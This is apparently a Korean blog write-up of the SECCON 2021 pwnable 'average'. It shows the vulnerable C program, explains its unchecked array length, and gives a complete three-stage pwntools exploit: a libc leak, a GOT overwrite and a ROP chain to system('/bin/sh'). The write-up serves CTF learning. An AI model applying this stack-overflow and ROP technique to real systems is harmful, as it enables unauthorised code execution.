Intro
Seccon 2021에 출제된 포너블 문제이다.
Analysis
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
long long n, i;
long long A[16];
long long sum, average;
alarm(60);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("n: ");
if (scanf("%lld", &n)!=1)
exit(0);
for (i=0; i<n; i++)
{
printf("A[%lld]: ", i);
if (scanf("%lld", &A[i])!=1)
exit(0);
// prevent integer overflow in summation
if (A[i]<-123456789LL || 123456789LL<A[i])
{
printf("too large\n");
exit(0);
}
}
sum = 0;
for (i=0; i<n; i++)
sum += A[i];
average = (sum+n/2)/n;
printf("Average = %lld\n", average);
}
코드는 간단하다.
취약점은 n에 대한 제한이 없기 때문에 OOB가 트리거 된다.
따라서 stack 값을 overwrite할 수 있는데, 문제는 중간 if문에 의해 123456789 이상의 값은 적을 수 없다.
Exploit
leak payload를 짤때는 123456789보다 작기 때문에 상관없지만, libc address는 이 크기를 넘어가기 때문에 고려해야 한다.
puts@got를 exit루틴으로 안 가게끔 해주면 되는데, 문제는 movaps error가 발생한다. (stack align이 깨진다.)
그 이유는 좀 분석하다가 알게 되었는데, call puts@plt 할 때 sfp가 push(8byte)되기 때문이다. (puts@got는 루틴이 바뀌어있어 sfp는 push 되고 에필로그는 호출되지 않는다.)
stack allignment만 맞춰주면 error가 안 나기 때문에, exit@got도 루틴을 적절히 바꿔 8바이트씩 push 되어 allignment를 맞추도록 하였다.
나머지 payload 짜는 건 잘 계산해주면 된다.
from pwn import *
s = process("./average")
e = ELF("./average")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
prdi = 0x4013a3
prsi_r15 = 0x4013a1
ret = 0x40101a
#stage1
s.sendlineafter("n: ", "100")
for i in range(16):
s.sendlineafter(": ", "1")
s.sendlineafter(": ", str(22 + 3)) #n
s.sendlineafter(": ", str(1)) #avr
s.sendlineafter(": ", str(1)) #sum
s.sendlineafter(": ", str(19)) #i
s.sendlineafter(": ", str(1)) #sfp
s.sendlineafter(": ", str(prdi)) #ret
s.sendlineafter(": ", str(e.got['puts'])) #leak
s.sendlineafter(": ", str(e.plt['puts']))
s.sendlineafter(": ", str(0x401176)) #main
s.recvline()
libc_base = u64(s.recv(6)+b"\x00\x00") - libc.sym.puts
system = libc_base + libc.sym.system
binsh = libc_base + list(libc.search(b"/bin/sh"))[0]
rtld_global = libc_base + 0x61bf68
print(hex(libc_base))
#stage2
s.sendlineafter("n: ", "100")
for i in range(16):
s.sendlineafter(": ", "1")
s.sendlineafter(": ", str(22 + 12)) #n
s.sendlineafter(": ", str(1)) #avr
s.sendlineafter(": ", str(1)) #sum
s.sendlineafter(": ", str(19)) #i
s.sendlineafter(": ", str(1)) #sfp
s.sendlineafter(": ", str(prdi)) #ret
#input()
s.sendlineafter(": ", str(0x402008)) #%lld
s.sendlineafter(": ", str(prsi_r15))
s.sendlineafter(": ", str(e.got['puts']))
s.sendlineafter(": ", str(0))
s.sendlineafter(": ", str(0x401070)) #call _scanf
s.sendlineafter(": ", str(prdi))
s.sendlineafter(": ", str(0x402008)) #%lld
s.sendlineafter(": ", str(prsi_r15))
s.sendlineafter(": ", str(e.got['exit']))
s.sendlineafter(": ", str(0))
s.sendlineafter(": ", str(0x401070)) #call _scanf
s.sendlineafter(": ", str(0x401090)) #main
s.sendline(str(0x4012ab))
s.sendline(str(0x4012B5))
#stage3
s.sendlineafter("n: ", "100")
for i in range(16):
s.sendlineafter(": ", "1")
s.sendlineafter(": ", str(22 + 3)) #n
s.sendlineafter(": ", str(1)) #avr
s.sendlineafter(": ", str(123)) #sum
s.sendlineafter(": ", str(19)) #i
s.sendlineafter(": ", str(1)) #sfp
s.sendlineafter(": ", str(ret)) #ret
s.sendlineafter(": ", str(prdi)) #prdi
s.sendlineafter(": ", str(binsh)) #alignment
s.sendlineafter(": ", str(system))
s.interactive()
ROP payload 한 번에 짜도 되는데, 하다 보니 stage가 나뉘었다.
stage1 -> libc leak
stage2 -> puts, exit got를 프로그램 종료하지 않게 routine 바꿈.
stage3 -> system 실행
'System Hacking > CTF Write-up' 카테고리의 다른 글
[Google CTF 2021] compression (0) | 2022.02.02 |
---|
WRITTEN BY